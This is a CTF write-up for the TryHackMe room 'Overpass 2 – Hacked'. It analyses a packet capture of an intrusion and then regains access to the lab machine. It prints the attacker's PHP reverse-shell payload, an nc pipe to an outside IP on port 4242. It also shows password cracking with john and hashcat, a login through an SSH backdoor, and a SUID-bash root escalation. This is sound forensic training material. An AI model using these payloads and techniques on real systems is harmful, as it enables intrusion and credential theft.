Room Link: https://tryhackme.com/room/overpass2hacked
overpass2.pcapng
.md5sum
of the file to verify file.
md5sum overpass2.pcapng
11c3b2e9221865580295bc662c35c6dc overpass2.pcapng
wireshark
and follow TCP streams
of suspicious streams. But, I used strings overpass2.pcapng
./development/upload.php
.What was the URL of the page they used to upload a reverse shell?
Answer /development/
.<?php exec("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.170.145 4242 >/tmp/f")?>
. You can check it by scrolling or simply use strings overpass2.pcapng |grep "php exec"
What payload did the attacker use to gain access?
Answer exec("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.170.145 4242 >/tmp/f")
.What password did the attacker use to privesc?
Answer whene************tant
. You can manually scan strings result to see the password.How did the attacker establish persistence?
Answer https://github.com/NinjaJc01/ssh-backdoor
. With same manual scrolling will work here.cat /etc/shadow
command and it’s result inside strings
output. We can simply save it in a file named shadow.fasttrack
wordlist as instructed using command wget https://raw.githubusercontent.com/drtychai/wordlists/master/fasttrack.txt
.john --wordlist=fasttrack.txt shadow
Loaded 5 password hashes with 5 different salts (crypt, generic crypt(3) [?/64])
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
se*****y3 (paradox)
ab***23 (szymex)
s****t12 (bee)
1***2wsx (muirland)
4g 0:00:00:04 100% 0.8113g/s 45.03p/s 187.4c/s 187.4C/s 2003..starwars
Use the "--show" option to display all of the cracked passwords reliably
Session completed
Using the fasttrack wordlist, how many of the system passwords were crackable?
Answer 4
https://github.com/NinjaJc01/ssh-backdoor
. We can find hash
and salt
details inside code. https://raw.githubusercontent.com/NinjaJc01/ssh-backdoor/master/main.go
What's the default hash for the backdoor?
Answer bdd04d9bb7621687f5df9001f5098eb22bf19eac4c2c30b6f23efed4d24807277d0f8bfccb9e77659103d78c56e66d2d7d8391dfc885d0e9b68acd01fc2170e3
What's the hardcoded salt for the backdoor?
Answer 1c362db832f3f864c8c2fe05f2002a05
.What was the hash that the attacker used? - go back to the PCAP for this!
Answer 6d05358f090eea56a238af02e47d44ee5489d234810ef6240280857ec69712a3e5e370b8a41899d0196ade16c0d54327c5654019292cbfe0b5e98ad1fec71bed
. We can check it manually inside strings
output. By using strings overpass2.pcapng |grep "backdoor -a"
we can directly find the output.sha512
. So we can decode it using hashcat
.
hashcat -m 1710 "6d05358f090eea56a238af02e47d44ee5489d234810ef6240280857ec69712a3e5e370b8a41899d0196ade16c0d54327c5654019292cbfe0b5e98ad1fec71bed:1c362db832f3f864c8c2fe05f2002a05" --force /opt/wordlist/rockyou.txt --quiet
6d05358f090eea56a238af02e47d44ee5489d234810ef6240280857ec69712a3e5e370b8a41899d0196ade16c0d54327c5654019292cbfe0b5e98ad1fec71bed:1c362db832f3f864c8c2fe05f2002a05:no******6
Crack the hash using rockyou and a cracking tool of your choice. What's the password?
Answer n********6
The attacker defaced the website. What message did they leave as a heading?
Answer H4ck3d by CooctusClan
. Manually checking strings output for downloading deface page will show this. We can also use this command strings overpass2.pcapng |grep "H4ck3d"
. Or simply opening the ip in browser will show this heading.strings
output. We already have username james
and can use cracked password. We need to use -oHostKeyAlgorithms=+ssh-rsa
to get ssh as there is an error.
ssh -p 2222 james@10.10.136.126
Unable to negotiate with 10.10.136.126 port 2222: no matching host key type found. Their offer: ssh-rsa
$ ssh -oHostKeyAlgorithms=+ssh-rsa james@10.10.136.126 -p 2222
The authenticity of host '[10.10.136.126]:2222 ([10.10.136.126]:2222)' can't be established.
RSA key fingerprint is SHA256:z0OyQNW5sa3rr6mR7yDMo1avzRRPcapaYwOxjttuZ58.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '[10.10.136.126]:2222' (RSA) to the list of known hosts.
james@10.10.136.126's password: *******
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.
What's the user flag?
Answer thm{****************}
james@overpass-production:/home/james/ssh-backdoor$ cat /home/james/user.txt
thm{****************}
find . -perm /4000
we got a unusual file /home/james/.suid_bash
. We can get suid exploit for it here https://gtfobins.github.io/gtfobins/bash/#suidWhat's the root flag?
Answer thm{***************************}
james@overpass-production:/home/james/ssh-backdoor$ /home/james/.suid_bash -p
.suid_bash-4.4# id
uid=1000(james) gid=1000(james) euid=0(root) egid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lxd),1000(james)
.suid_bash-4.4# cat /root/root.txt
thm{***************************}
Author: Zishan Ahamed Thandar